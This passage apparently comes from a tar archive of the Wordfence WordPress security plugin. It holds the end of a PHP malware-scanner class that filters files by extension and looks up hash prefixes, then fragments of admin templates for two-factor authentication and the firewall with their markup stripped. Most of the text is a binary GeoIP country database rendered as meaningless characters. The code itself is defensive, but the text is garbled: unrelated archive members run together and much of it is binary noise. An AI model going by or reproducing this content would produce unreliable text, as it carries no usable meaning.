($this->coreUnknownEnabled && !$this->alertedOnUnknownWordPressVersion) { $restrictedWordPressFolders = array(ABSPATH . 'wp-admin/', ABSPATH . WPINC . '/'); foreach ($restrictedWordPressFolders as $path) { if (strpos($file->getRealPath(), $path) === 0) { return true; } } } //Determine treatment $fileExt = ''; if (preg_match('/\.([a-zA-Z\d\-]{1,7})$/', $wordpressPath, $matches)) { $fileExt = strtolower($matches[1]); } $isPHP = false; if (preg_match('/\.(?:php(?:\d+)?|phtml)(\.|$)/i', $wordpressPath)) { $isPHP = true; } $isHTML = false; if (preg_match('/\.(?:html?)(\.|$)/i', $wordpressPath)) { $isHTML = true; } $isJS = false; if (preg_match('/\.(?:js|svg)(\.|$)/i', $wordpressPath)) { $isJS = true; } $options = $this->engine->scanController()->scanOptions(); //If scan images is disabled, only allow .js through if (!$isPHP && preg_match('/^(?:jpg|jpeg|mp3|avi|m4v|mov|mp4|gif|png|tiff?|svg|sql|js|tbz2?|bz2?|xz|zip|tgz|gz|tar|log|err\d+)$/', $fileExt)) { if (!$options['scansEnabled_scanImages'] && !$isJS) { return false; } } //If high sensitivity is disabled, don't allow .sql if (strtolower($fileExt) == 'sql') { if (!$options['scansEnabled_highSense']) { return false; } } //Treating as binary, return true $treatAsBinary = ($isPHP || $isHTML || $options['scansEnabled_scanImages']); if ($treatAsBinary) { return true; } //Will be malware scanned, return true if ($isJS) { return true; } return false; } private function isMalwarePrefix($hexMD5){ $hasPrefix = $this->_binaryListContains($this->malwareData, wfUtils::hex2bin($hexMD5), 4); return $hasPrefix !== false; } private function isPreviousCoreFile($hexContentsSHAC) { $hasPrefix = $this->_binaryListContains($this->coreHashesData, wfUtils::hex2bin($hexContentsSHAC), 32); return $hasPrefix !== false; } /** * @param $binaryList The binary list to search, sorted as a binary string. * @param $needle The binary needle to search for. * @param int $size The byte size of each item in the list. * @return bool|int false if not found, otherwise the index in the list */ private function _binaryListContains($binaryList, $needle, $size /* bytes */) { $p = substr($needle, 0, $size); $count = ceil(wfWAFUtils::strlen($binaryList) / $size); $low = 0; $high = $count - 1; while ($low <= $high) { $mid = (int) (($high + $low) / 2); $val = wfWAFUtils::substr($binaryList, $mid * $size, $size); $cmp = strcmp($val, $p); if ($cmp < 0) { $low = $mid + 1; } else if ($cmp > 0) { $high = $mid - 1; } else { return $mid; } } return false; } }menu_tools_twoFactor.php000064400000047146147206764270011524 0ustar00 __('Two-Factor Authentication', 'wordfence'), 'helpLink' => $helpLink, 'helpLabelHTML' => wp_kses(__('Learn more about Two-Factor Authentication', 'wordfence'), array('span'=>array('class'=>array()))), ))->render(); ?>

.

and have control of your phone to log into your site. Upgrade to Premium now to enable this powerful feature.', 'wordfence'), array('em'=>array())) ?>

()

and have control of your phone to log in to your site. We recommend you enable Two-Factor Authentication for all Administrator level accounts.', 'wordfence'), array('em'=>array())) ?>

true, 'restoreDefaultsSection' => wfConfig::OPTIONS_TYPE_TWO_FACTOR, 'restoreDefaultsMessage' => __('Are you sure you want to restore the default Two-Factor Authentication settings? This will undo any custom changes you have made to the options on this page. If you have configured any users to use two-factor authentication, they will not be changed.', 'wordfence'), ))->render(); ?>
  • Note: Two-Factor Authentication is disabled when the option "Enable Brute Force Protection" is off.', 'wordfence'), array('strong'=>array())); ?>
    •   

'wf-2fa-options', ))->render(); ?>

.

menu_firewall.php000064400000004167147206764270010135 0ustar00render(); echo wfView::create('gdpr/banner')->render(); } ?>

array( new wfTab('waf', 'waf', __('Firewall', 'wordfence'), __('Web Application Firewall', 'wordfence')), new wfTab('blocking', 'blocking', __('Blocking', 'wordfence'), __('Blocking', 'wordfence')), ), ))->render(); ?>
__('Firewall', 'wordfence'), 'headerID' => 'wf-section-firewall', 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF), 'helpLabelHTML' => wp_kses(__('Learn more about the Firewall', 'wordfence'), array('span'=>array('class'=>array()))), ))->render(); require(dirname(__FILE__) . '/menu_firewall_waf.php'); ?>
__('Blocking', 'wordfence'), 'headerID' => 'wf-section-blocking', 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_BLOCKING), 'helpLabelHTML' => wp_kses(__('Learn more about Blocking', 'wordfence'), array('span'=>array('class'=>array()))), ))->render(); require(dirname(__FILE__) . '/menu_firewall_blocking.php'); ?>
GeoLite2-Country.mmdb000064400035663511147206764270010523 0ustar00Ή      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQzRSTUVWXYZ[\]^_`ab?cd> e%f ghi:j(klmnopqxrstuv,w#y((z{(|((}~(((((((((((#(,(,'((C&'CCCCCCCCC!CCCCCCCCCCCCCC.CCCCCCCCCCCCCC;HHHHHHHHHHHHHHHUHHHHHHHH  HH H  HHHHbo,,(((((((((( (!("(#($(%((')-*+,b./,0123456789m;,<=OH>H?@HHABHHCDHHEHFHGHHIHJHHKLHHMHNH PhQRS^TYUW,V2,X,Z\[,,]<,_(`c,ab,,dgef,,,ijk7lmun77op7qsr777t7v7w{x7y77z7|}~77777777777777H@::I-O{Bdqddd.d9dddddddddA&dddddd  dd  dd dddddddd!dd dd"d#dd$%dd'd(1d)*.d+d,-d/0dd293645dd78dd:=;<dd>dd?@ddGCWDNEIFHGqJKdLM@dORPQddSUTVddX`Y\Z[d]^d_qawbcdvedfgpdhdijmdkldnodqdrstduddxzydqd|6}~ddddqddddqddddddddddddddddddddddqd%dddddddddddddddddddddddddddddd dd  dd d dd9qdddddd,# dd!"dd$'%&dd()dd*+ddd-.2d/d01d3dd45dd7B8?9<:q;=q>d@Aq9CHDEFGdINJLKMdPQR]SXTUGVdWdY\Zd[dd^_y`bdacddefdgdhqiljkddmnddopdrustddvddwxdz}{|qq~ddq8ER.dddadddq%qdgqgdadddqddddddddddddddddddddddddddddddqd%.RGde>*%ddFdqSdd% .   . (ddddddddRddddddad !"#$%&'a)+7,3-1../0d2d.456d8;9:dd<d=dq?S@AEBHCGDEFq.IOJLKdMNdPQRdTWdUdVX[YZdq\a]_^ddd`dbcdqd<dfgzhoidjkdldmndqqprqRsytvdud9wxd{|}~dqdRdGdddd.ddddqqddqd(dq%%qdSdd9a.ddddqqdqSddddqddS   d  d"dddddddd !dd#&$%g')d*H+?,:-3.1/0qdqd2d4756q89;>F<=G@EADBCdGFGddI\JVKRLOMNdqPQ9dSTUdWXqY[ZSd]d^a_`bcqewfnglhkijmqqotpqrsdSuvdxyz{~|d}ddqdqddddqqddddddddddqTd..dqdSRqqddddd9dd ddddqdddddd dq.qdq7 &  dRd.dddDG" !Sd#$%dqd'd()*+,d.77/70172737745776778779:7;77<7=7>?77ABCDtESFGHtImJ`KNLgMvgOPWQRSTUVX5YDZDD[\D]DD^_DDabcde++fg++hi++j+k+l+nqop9Hrsu~vywx<z{7|}!0?N^m--;9JYgvd7d!!/d>N]dly/>M[%<<d?N\kz++J7dd*!gm<<(      !"#$&;'1(+)*<,0-./28345N67RTq9:/<E=@>?<77;ADBCDFLGH<IJK/7dMNOQ5P5-RXXhTUVWaX\YZ7w[]^d_`kbkcgdefhijlwmnopqrstuv`xoydzd{|}~~~~~~,v;/JYYYYJXR77ddddddddddnnk?kz<,#2J<ooooooooAodP^m{    HÊHÙ ÙÙ5çC.ö!7 #!"d$(%'&)+/*/v,-/v//60312J45d<7=8<9b:;z<>B<?@A9<D`ESFIGHdJMKMLNQOP.;bRTZUXVWHVdYdX[_\]^vvgakbfcd<e7gjhi2lomn<pq<rs#uvwxyz+{|++}~+++++++++++3BQ7g7<g<7  q O L K`n-ǞǬDTc5rǞȂȐȞçȬȺȐ`Ȭçr5-TǞ    ȬȬTTȂȂȬȬȬǞǞǞ` ` `ȐȐ Ȑr     r55  çç ç  ȬT        ȬȂǞ` Ȑ 5r  ç  ) $ ! " # % &T ' (T * : + 3 , 0 - / .55Ȃ 1Ȑ 2`Ȃ` 4 8 5 6Ȭ 7Ȭ 9ȂȞ ; D < @ = > ?D A CǞ BǞ- E H F GDr I JȐçȺç MȬ Nc P _ Q RȂ SȂ T U V W X Y \ Z [5 ] ^Ȭ ` a b c d e f g h i j k l m n o pȬ r s t55 u5 v5 w5 x y55 z {55 |5 }5 ~5 5 5 55 5 5 5"5              7          7  nȬ Ǟ Ǟ Ǟ Ǟ Ǟ Ǟ Ǟ ǞǞ Ǟ Ǟ Ǟ Ǟ Ǟ ǞǞ Ǟ5 5Ȑ                             c        M                     W  2  $    ç] ç ç    l ! "{ #5 % + & (Ȑ '5 )5 *5 , 0 - / .r5 1Ɋ 3 B 4 ; 5 8 6 7Ȭ` 9 :Ȑ < ? = >ɚ @ Aɩ C J D G E FȺ H IȬ K N L Mɸ O P Q R S T U V X k Y c Z ] [ \Ȑ ^ ` _ç aȂ bȂ d g e fȞ h i j l w m q n o pç r u s tȐ v x ~ y { z5 | }  ] `                 T % ^ [       ``                                              :                                        ! " # - $ & %- ' * ( )- + ,55 . 5 / 2 0 1ç5ç 3 4ç5 6 7ç 8 9 ; < M = > ? @ A B C D E F G H I J K L N O P Q R S T U V W X Y Z \ ] ^ t _ h ` a bç c dç e frç gçç i j k l m n o p q r sȐ u v  w x y z { | } ~  -                                5   5 ç ç         -             I  !            ɚ     ç             -       5               " # $ 0 % & ' ( ) * + , - . / 1 2 3 4 = 5 6 7 8 9 : ; < > ? @ A B C D E F G H J K L M N O P Q R S T U V W X Y Z [ \ ]Ǟ _ ` i a b g c d f e```Ȭ hç j w k r l o m nrcc p qD s u t{Dr v- x y ~ z { | }  -Ȃ5Ȃ Ǟ 5 5 5 5 5 ǞȐȐ ``ȬȬ ȬȬ Ȭ Ȭrr r r T T T- ȐǞ ȐȂȂ DD Ǟ rȂ -T Ⱥ Ⱥ Ⱥ ȺȺç Ȭr ǞȐȂ { -TǞ ç DȬ   l ,    ; < ʑ 7ʠ       9ʯ  999 9      7< 7  +   dd d d d d  d d dd 'd   d d dd d  dd d d 'dd d d ! "dd #d $ % ( &dd 'd'd )d *'d< - . d / 0 R 1 H 2 : 3 4: 5 8 6 7H 9>W ; D < @ = > ?ese˂ A B> CV E F GH I J N K L MːW O P> Q˞ː S ]˭ T U V< W X<< Y Z<$ [$ \$3 ^ _ʯ ` a< b cRdç e f l g k h i7 jd m x n o7 p7 q7 r7 s t77 u7 v7 w7B y z {< |  } ~dRR RR ʯ - -çQ Q             77    d7 a /͹ #  7 <;IX << < << << < < <f   % J J J J J J JJ uJ J JJ J JuJJ JJ JJ J΃ JJ J JJ JJuJ J J J JuJ J JJ J J uJ J J JJ Ju  J J J J J JJ JJJ J JJJ J J J  JJ JJJJJJJJ JJJJJJJJJ !"7d$J%^&X'6(3),*+/>N>-].>/>0>1>2>l>4{/5ϊ>7M8C9:/>;><>=>ϙ>?>Ϩ@A>ϷBϷϙDE>F>G>HLI>JK>>>NQOP{>RNS>T>U>V>W>{>Y]Z[\J _`bcdekfgihj7/mYnopzqgrs͹twuv7xyе{|}<~*`-шшшшшшшшшїѬѺdet҃ґdç<<,,,,,͹ow"1"11111@1A4     1NNN*%" !N#$1&'()N+0,-./]123156789:;><=N?@NB]CHDEFGITJKOLMNlPQRS{ӊUZVWXYN[\1^f_`ab1cdeNgohijklmnNpqrstuvәxyz{|}~11Nӊӊ1ӨNN@N1NNNӷNNNN0Өl     "N1] $!"#%&,'()*+N-.1/11P2I3@456<78:9N;1=>?ABCDEFGHNJKLMNO1QWRSTUV"XYdZ_[\]^N`abcNejfghiNklmnәptqrsd7duyvxwʠ<dz{|~}777<Q""6DґQRd_m|d_ԋbbԙbԙԙ3Ԧʠ7ՒաHd9g   7 J կmS;H"7<d?7ʠ տ!տ#&$%'(=)3*+,-./012456789:;<>?@ABCDEFGISJMKL<NOP˭QR˞>eWTUVWXZf[\B]^_b`a<ʠ7cde9;g hi{jrkеlomn<;pq7<styugvwxz<7|}~˭+<dddg77;9JʠRd;ZhZʠʠw׆ʠZוZʠZZפʠʠʠʠʠʠʠʠʠפʠʠʠʠʠʠʠʠפZʠ2׳ʠhʠ׆ʠ׆׆׆׆ʠ׳ʠZZʠ2׆׆ZZʠ׆w׆2׆ZʠʠʠʠʠʠʠʠտZw׆ʠפ2wտZפ׆ʠ׆ʠZ2Z׆׆׳Zʠ2ʠʠʠ ʠ ʠ ʠʠ פʠU'D55Ȑ$ "!#Ǟ-%&Ǟ``Ȭ(D)>*0+,-./ 12=3456789:;<7?B@A7JCz7EFRGNH<ILJK1@@OM@@OP<QST9dVWXYl7Z[g\]^]k_7`a7b7c77de7f7]7hji777k7mnopyqr7s7t7u7v7w7x7z7z{؉|؉}~؉؉؉؉؉ؗ؉ؗؗ؉؉؉؉7؉77؉7ئ؉ئئ؉ئ؉؉؉؉؉؉؉ئ؉ئ7777شششش7zzzz"77ً7ً777Q7Q۵7۵)7)79977E7EU7U 7 77 *7*77878߮7߮7 7  7 7  j7j7B7B777 7!]7]#L$9%0&+')(7*K7K,.-7/D7D1423 7 57678?7?:A;<7=?>7@7BGCED7F\7\HJI7K7McNWOR}PQ7SUT7V7X]Y[Z7\H7H^`_7ab7vv7doejfhg7ih7hkml7n7puqsr7t7vxw7y7{|}~7777777777777ش7ش777777777777777777k77ً7ًً77Q7Q۵7۵)7)9797E7EU7U 7 7*7*77878߮7߮7 7 7j7j7B7B77  7 ]7]  7K7K>'7D7D7  7"! 77?#%$7&7(3).*,+\7\-7/10\7\2749576787:<;7=7?V@KAFBDCH7HE7GIHv7vJ7LQMONh7hP7RTS7U7W`X[Y7Z7\^]7_7afbdc7e7gih7j7l7mn}oypuqsr7t7vw7x7z{|7~ش7777XH777e7et7t77)7)7(7(77"7"777777k7k7t7t77b7b77"7"171A7A777,7,7>7>7777 77  7 575 7777771&!7 7"$#7%l7l',(*){7{+7-/. 7 0 7 2=38465 7 7 7 9;: 7 < 7 >C?A@ 7 B 7 DFE 7 G 7 IQzJKzzLzMNzOPzzRzSzTzzUzVW z YZ[\q]f^a7_`7bdc7ee7eglhjit7tk7mon7p)7)r}sxtvu7w(7(y{z7|7~"7"777777k7kt7t77b7b77"7"171A7A777,7,7>7>7777775757777777l7l{7{7 7  7  7  7   7  7   7 7     7  7  7  7 sF/$ 7  ^7 ^ "! 7 #7%*&('7)7+-,7.70;16243{7{577987:7<A=?>7@7BDCy7yE7G^HSINJLK7M-7-OQP<7<R7TYUWVa7aXp7pZ\[7]7_h`cab7dfe 7 g7injlk7m7oqp 7 r/7/tuvw|xzy>7>{7}~878777}7}777~7~&7&6&67E7ET7Tc7c7!7!/7/7 7 67677 7  !O7!O7!7!"r7"r""# "#w###M#ʯʯ#<7е#g#Nç#R0777  #  d ddddddddddd'dddddddd d!dd"dd$d%d&d'(d)d*d+dd,d-.dd/d1273Q45@6<7:89d7;g;<J<=>?7AOBKCGDEFHIJ#LMN7PQzSTUVWgXYZb[`\]^_çç-a$ 7$cdedf˭hivjkslomn$)pqrtuw~x|yz{}V--5555555-5-777s$8$GN$V$eegʠ9$u;$7$%u%%u%%%%%%%%%%%u&>&''<d97͹7Q',ʠ';{5Ȑç-ɚ59MMMMMMMMMM'JMddd'^'nU(;N;'|;;;'N'$; ;   $;;$ '$;;$;;$;$;';';$'''" ''!''#%$;;'&';';$)@*5+1,.;-''/0N'N;2;34'''$6<7:89;';';N;N=>;''?';AHB;CFDE;';N;G';IOJLK;$'MN('''PRQ;''ST';';VyWdX`Y\;Z[;;N;]^_N;;'Na'b;c;Neofi;g;h'Njmkl';'Nn;;NptqNrsN;;Nuwv;';x;;Nz{|}~;;N'N;;;;N;;;('N'';'';'''(N;N(;;;;( -dQԦ77/77d(/d7J(<(K(ZԦ77(i(i(w(((  (   ((Ւ79&J79<Ւ# z!"($%<'()*+,-./0612345(((78(:.;<=h>L?@GABCDEFNHIJKMN_OWPQRSTU1VNXYZ[\]^N`abcdefgNijrklmnopqNsztuvwxy11{|}~N]NN11""(ӊӊ"1N111 NN]    ӊl1 )!$"#1%&'({*+,-1/F01234=56789:;<>?@ABCDE1GHIiJZKSLMNROPQ11TUVWXYN[\f]b^_`aNcde@gh1jyktlmnopqrs1uvwxNz{|}~N{NN1ә11N]NNY997B7<<(<77(7999ʠʠ< <<  <<  ) ))+);3)K)Y)i<<)y)76779 (!$"9#997Ԧ%ʯ&N'ɚш).*,+QJ-z/10+2345))))7=789:7;z<w>M?77@A7B7C7D77EF7G77HI7J7K77L77N7OP77QR77S7T7UV77W7X7Z[\t]^p_g`baʠcedfhi<j9knlmÙo#7qrsԦuydv7wx97z{|}~++77)))97<7Ԧ9<)<77<9<7Ԧ<7<7Ԧ)*Q** )e)tte*/*>*Me* )))))))*\!etDD)7dddd*k3<7     <7777777777$!< dz"#7<%&*')(7d77N+,7<./:0192345678*z͹Q;M<=>?@ABCDEFGHIJKL*NdOPTQRS7dUaVX9W77YZ[^\]R**_`R7bBcdef|gohl,ijk,,mn<7pq{rxsvtu@**w@**@yz@*+d}~++#++-+<ՒՒՒՒ+Kd*dd7+Y77(7777(dzgz77 wD'+h  (<!m  m m+vm!m!+++!m!+!+# +!"!m!+$%&,(9)3*0+,-./+J1Ȑ2`-48567++++:?;>7<=Z+@CA9BdEaFUGJHI;9dKQLOMNm!m, P,RST,/vVYWXdNZ_['n\];qR^@,*`7blcfdeʠʠgjh7i7kMmsnod<pqr!+tu,8<vxyz{|}~,EH,Sz,a,p,7,,N,Ns,,<7S77e$8sːY;;?,ʠ<<<37??kkkkk?kkkkkkkk??Nk,?N,7X-gее+-- >- ʑ;-0/5->{-M-[<#-k-y><-կ-<;  K % 7/-"! ----#$m&7'*()<7+6<,-./012345-8C9=;:;<ɚȺ>@g?AB-. DJEHFG.Iԙ.).7L{MsNpOoP.GgQRgSgTaUZVWg.VXY.e.t..[^\]..._`....bicfde/ //(/7gh/F/U/d/sjmkl////ng/qrʠtv<u<wxydz//|}~//0 d@0b7;99ʠ0(7J<706M30Fç7ÙÙd+*d<<ʯ0U<-;XD<<Jg7<<ʠ<90dk5      >0t0s00d>0W000!+"&#$%0ː')(0*00,/-.0>014230t1 >>]6P7B8<9:;N$V0t=A>?@]ːCIDEG0FH/;,JLKʑMNO]N00Q`RYSTWUV1X0Z][\>s^_1%abicfde0120gh˂0>j0lmn|owpqtrs01Aeuves1Axyz{N0]}~DDՒ!!!!Ւ ^1P1Nӊ{{"1NNN11P 8 !         1  ӊ           N      1e  1e " 0 # * $ % & ' ( )N + , - . /N 1 2 3 4 5 6 71 9 G : ; A < = > ? @N B C D E FN H S I N J K L M( O P Q R( T W U V1 X Y Z [ \ ] _! ` a b m c i d e f g hN j k l1 n z o p q w r s t u v11 x y { | } ~     N  (     l     N     1   1     1     "        1  (    1    1     1  1     1  1 1   1    1t  !!!!!!!!@!@! !! ! ! ! !!@!](!!!!!!ӊ!!!]!!k!!P!!.!!'! !!!"!#!$!%!&(!(!)!*!+!,!-]!/!;!0!1!7!2!3!4!5!6ә!8!9!:1!<!K!=!@!>!?1!A!B!F!C!D!EN!G!H!I!JNN!L!M!N!ON!Q!f!R!X!S!T!U!V!W@!Y!Z!`![!\!]!^!_@@!a!b!c!d!e{!g!h!i!j!l!!m!n!o!p!v!q!r!s!t!u!w!x1@!y!z!!{!|!}!~{!!!!{!!!!!!!!!!N!!!!N!!!!!!!!!1!!!!1!!1!!!!!1!!!1!!!!!1!!7!!!!!ʠ7!!17!!!!!d!!!//m!d!!<;!!!!!!!!dB!!<!;!!!!!dg!31!!!!!!!!!!!!!!!!!!!!!!!#!1!!!!!!#!#!"<!!!"!!!<!!d"7,"""""7"9"9"" 99" " 9" 99" 92"""""""<2<2"<<27<""""""^""P""/""+"")" "$"!"""#"%"&"'"("*,","-"."0"D"1"2"3"4"<"5"6"7"8"9":";2"=">"?"@"A"B"C3"E"F"G"H"I"J"K"L"M"N"O3"Q"R"S"T"U"V"W"X"Y"Z"["\"]3&"_""`""a"q"b"c"j"d"e"f"g"h"i"k"l"m"n"o"p"r"t"s,"u"w"v"x"y"z"{"|"}"~"""""""""""#"""""""""""""""""""""""""""""1"""""""""35"""""""3D"""""""3S""""""""""3b""""""""""""3D""""""""""",""""""""0 """"""""#"""""""""""""#"#####,### # # # # #####3q##Q##6##,;#3###$###"#9## ##!,3##33#%#&3#'3#(#*#)3#+33#-#.#/#3#0#1#2J,3DՒ#4#5#7$#8##9#|#:#X#;#H#<#?#=#><<#@#D#A#B#C+҃#E#F#G0˞33#I#V#J#U#K7*#L*#M*#N*#O*#P*#Q#R*#S**#T3*ʠ#WՒ#Y#s#Z#`#[#\k#]k#^#_-3#a#r#b#ck#d#e#k#fk#gk#hk#ik#jkkk#lk#mk#nk#ok#pk#qk<#t#w#u#v<#x#{3#y#zD#}##~#####9#37########N4 ##44&###;##444B44/H#########-##77########<##########<,###,Ù!####d##g4Q!####4_+!g####4n#######4|J"##Q###d%###7###7#7z########3###X4X4##d<####H##7#7#7#7#7(#(7##3##4#-###4#4#4#4#4#4#444#$ #$#$$$$k$$4445$$9$ $$ $$ $ $7%,$$$$$$$$7$$$$w$$I$$4$$'$$$$ $#$!$"77$%$&$($.$)$+$*,$,$-$/$2$0$15$35$5$<$6$9$7$8$:$;7$=$D$>$A$?$@aa,$B$Ca,a7$E$Ga$F7a$Hz$J$a$K$W$L$R$M$O$Na$P$Qa$S$U$T$V7$X$_$Y$\$Z$[,,$]$^$`a$b$ea$c$d7$f$t$g$i$h7a$j$sa$ka$la$m$naa$o$paa$q$raaa$u$va$x$b$y$z${7$|$}$~$$$$$$$$$%$$$ $;$7$$$$79$$7$$$(id$$%2$%$$$$$$d$d$$dd$d$$dd$'dd$d$$dd$d$d$$dd'$$$$$d$dd$$dd$d$d'$$$dd$$dd$d$d'$d$d$dd$d$'d$$$$$d$d$dd$$dd'd$$$d$d$$d'dd$d$$d'd$d$dd$$d$dd$d'$%$$$$$d$dd$d$$dd$'dd$$$d$d$$dd$d'$d$d$d$$'dd'$$$d$d$dd$$dd$'d$d$d$d$d$dd%d'%% %d%dd%%dd%%dd% d'd% % %d% d%d%d%d%'dd%%dd%%dd%d'%%(%d%dd%d%%%#%dd% %!dd%"'d%$dd%%d%&d%'d'd%)d%*%+dd%,%-d%.d%/d%0d%1d'd%3%o%4%Jd%5%6%>d%7%8dd%9%:dd%;%<dd%=d'%?d%@dd%A%B%Fd%C%Ddd%E'dd%G%Hdd%I'd%K%Td%L%Md%Ndd%Od%Pd%Q%Rd%Sd'd%Ud%V%]d%Wd%X%Ydd%Z%[d%\d'd%^%dd%_d%`%add%bd%cd'%e%jd%fd%g%hdd%i'dd%k%ldd%m%nd'd%p%%q%%r%zd%sd%t%ud%vdd%wd%x%ydd'%{dd%|%}d%~d%dd%d%d'd%d%%d%%d%d%d%d%'d%d%dd%%d'd%%%%d%%d%dd%%dd%d%'d%%%dd%%dd%%d%dd'%%%dd%d%%d%dd'%d%d%dd%%d'dd%d%d%%dd%d%d%d%'d%%%;%%J7%d%<<%%<<%%<<%%<<%%<%<<(%%%%%%%%%1%%%%%1%%%%%%%%%%%%%%%%%%%%%%%%%.#%. %-%,P%,%%*%&%&_%&L%&E%%%&7%&2%&&.&&&5&&&&& 5&&55& 5& & 55& &&5&55&&555&&55&&55&&$&&&55&5&&555&5& 5&!&"&#55&%5&&&*5&'&(55&)55&+5&,&-55&/&0&1çç&3&4&5&6`Ȑ&8&9&:&;&<&=&>&?&@&A&B&C&D5&F&G&H&I&J5 &K65 &M&V&N&O&P&Q&R&S&T&Uc&W&X&Y&Z&[&\&]&^&`&i&a&b&c&d&e&f&g&h6%&j&k&l&m&n&x&o&p&s&q&r&t&v&urr&w&y&&z&&{&}&|&~&&&&&&&&&&&&&&&&&&&&&65Ǟ&&&&&&&&&&&5&&&&&r&&&&&&&TǬ&]&&&&&&&-&&&&&&&&&&&&&&çȬ&&&&&&-&&&X&5/&&&&&&Ⱥ&&&&&&&&&&-Ⱥ-&&&&&&&&&XȺ&&&&&&&&&X&&&&&Ǟ&'+&'&'&&&&&&&&Ȭ'6D'' ''''''' `Ȑç' ' ' ''']''''''''6T''''''5' '!'"'#'$'('%'&5''Ȑ`')'*`',*'-'P'.'I'/'>'0'1':'2'3'4'5ç'6Ȭ'7Ȭ'8ȬȬ'9Ȭ';'<'=`'?'D'@'A'B'CǞ'E'F'G'HǞ'J'K'L'M'N'OǞ'Q(5'R'S'T'U'V'X'W`'Y'Z'[''\'']'u'^'h'_'b'`'açç'c'e'dȬ`'f'gr`'i'o'j'lç'kȐ'm'nçȐ'p'r'q`7]'s'tȐ-'v''w'}'x'z'yç5'{'|ç'~'Ȑ''''Ȑ''''5ç''Ǟ''''''''''7mɩç'çɚ'''ç'-''''''Ȑç''Ǟ``-'''Ȑ''`M''''''''T''-Ȑ''''Ȭçl''ǞȬç6D''''''-Ȑ7|''n''''7ɚ7r''rǞ7''''''''''''ǞȬç''çǞr'Ȭ'Ȭ''''''ȐǞ'Ȭ`''''50F'7Ǟ''''''5'ç''Ȃ-''''lȐ5''rȬ''''''5Ǟ''Mç'''çȐ'ç5'('( ((((((ç`(7(( (( çç( ( ((((`(Ȑ(((((ç`65(('(( ((((5`ȐȬ(r(!($("(#`(%(&çȬ(((.()(,(*(+rç(-7(/(2(0(17Ȃ(3(40Fç(6(7(8(9(:(;)(<(=((>(p(?(Y(@(K(A(D(B(Cçç(E(H(F(G5`(I(JrT`(L(S(M(P(N(OȐ(Q(RȐ77](T(V(UȐ(W(X-5(Z(c([(`(\(^(]ç(_Ǟ(a(bç(d(k(e(h(f(gȐ(i(j5ç(l(n(m(oç(q((r(~(s(x(t(v(uTç(w5(y(|(z({ȐǞT(}5((((((Ȑç`((((((rǞ((5((((((((`ȺȐ((7Ȭ((((ȂǞ((ȬDȬǬ((((((]`n((T`(((çǞr((((((((((Ȭ(Ȭç((((Ǟ-(((((Ȃ((Ȑr((((ȬȐ((ǞǞ((((((((ȬȐ((`5((((ç`5(M((((((çȐȐç((((`(ȐǞ((((((((((5cǞ((ǞT((`((((((ȬȂ(5ç(((Ȭ()((((((]Ȭ(ç))))`Ǟ-)r)) )) )) Ȑ-) ) Ȑ`))Ȃ7))))t))C))))) )))))7ɩ)))))777ɚ)!)$)")#ç``)%)'ç)&7)(Ǟç)*)5)+)/),).Ȭ)-)0)2ç)1)3)4çTȐ)6)=)7):)8)9ǞǞ);)<ççǞ)>)@Ǟ)?)A)B`)D)Z)E)P)F)K)G)J)H)Iç5TǞç)L)N)M5Ȭ)O)Q)W)R)U)S)T7ȐM)Vç5)X)Yç)[)i)\)c)])`)^)_Ȭ)a)bD5ç)d)g)e)fç5`)h)j)q)k)n)l)mȐr)o)pçç)r)sç)u))v))w))x)|)y)z){ç)}))~)Ȭç))Ȭ0F)))))çD))0FǞ`))))nɩ))Ȭç)))))))Ǟç)`))))5))))))шç`))rȞ5))))ç)7Ǟ)))))))))5))))`Ȑç)ç5))))))Ǟ7mç))Ȭl))))ǞT)5))))))))Ȃ`ç)Ǭ))))57))5)))))Ȑ))Ȑ55))5)*O)*))))))))))7))çɚ)))ш5)))))M)))))Ȭ-))`Ȭ)* )*)***ǞȬ**ȬǞ7**Ǟ*Ȑ* * Ȭш`* ** ***`Ȑ*Ǟ*****Ȑ**5**'**"****Ȭ`* *!ȬnǞc*#*%*$ç*&7*(*.*)*,***+T*-n*/*2*0*1`ǞȬ*3*4ǞȐr*6*B*7*>*8*;*9*:ǬɩlǞ*<*=Ȑr*?*@5ç*AȐ*C*I*D*G*E*FȐȐ*HȐ*J*M*K*LȐ*N7*P*~*Q*k*R*_*S*X*T*V*Ul8*Wç*Y*\*Z*[ç*]*^ɚ58*`*e*a*bç*c*dç*f*i*g*h8Ȭ*jȬ*l*w*m*r*n*p*o5ç*q5`*s*u*tç*v7*x*y*{*zç`*|*}`**********ç**`ȬȬ****`Ȑç**r7******-7m**`-****Ǟ5Ⱥ**ȂǞ*******`**çD****ȐM**Ȭ5******T**7|5***ç`**8"]81********`*+*+]*+*****************************ǞȂȐ********XȐ`***l*ll********D7|*******Ⱥ+++++Ȟ++*++++ + + + + +++Dr+6D+++++++++MȐ+++++ +!+"+#+$+%+&+'+(+)8@+++5+,+-+.+/+0+1+3+2`+4`Ȃ+6+H+7+A+8+9+=+:+;+<+>+?+@Ȭ+B+C+D+E+F+GȞ+I+O+J+K+L+M+N5+P+Q+X+R+S+U+TȬȬ+V+Wn7m9l+Y+Z+[+\ç81]+^++_++`+z+a+s+b+k+c+d+e+f+h+g7X+i+jȺ9{7+l+m+n+o+q+pɚ+r+t+u+v+w+x+y+{+|+}++~++++5ç++++X+++++++++++ш++ɩ5++++++++++8++ç+++++7+++++++++55T+++++++0F87+++++++++++++++58"l++++++++9++++65++++7++++++++++++++++++++++++9+,+++++++++++++++,,,, ,, ,,,,5ȺȺ,,50F5, 55, 5, ,,,5-5,,,,,,,,,,,,,, ,!,",#,$Ȑ,&,;,',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,<,=,>,?,@,A,B,C,D,E,F,G,H,I,J,K,L,M,N,OD,Q,a,RC,S,W,T9,U9,V9C9,X,^9,Y,ZC,[9,\9,]C9C9,_,`C9C,b,,c,t,d,e,f,g,h,i,j,k,l,m,n,o,p,qç-5,r,s,u,,v,,w,4&,x,y,,z99,{,|9,},,~9C999;,,!,,!,,!,!,,!,!,!!,!,!,!,!,!,!,!9,!!,,!!,!,C,C,,CC,,CC,,C!C9,;4&,,,,!,99:,,9.,,99CC:,,,,,!;C,C,,,!,!,!!,,!,!!,,!,!!,,!!,,!,!!:",!!,!,!,,!,!!,,!!,,!!,,!,!,!!C,,,,,,:599.;,!,C,;,,99::B,,,,,,,,,,,,,,,,,,,,,,,,-Z,,-.,-,-,r,rr,r,,,,,-----r-- -- -r- - rMr- :Or----------:O-----r--*--)- 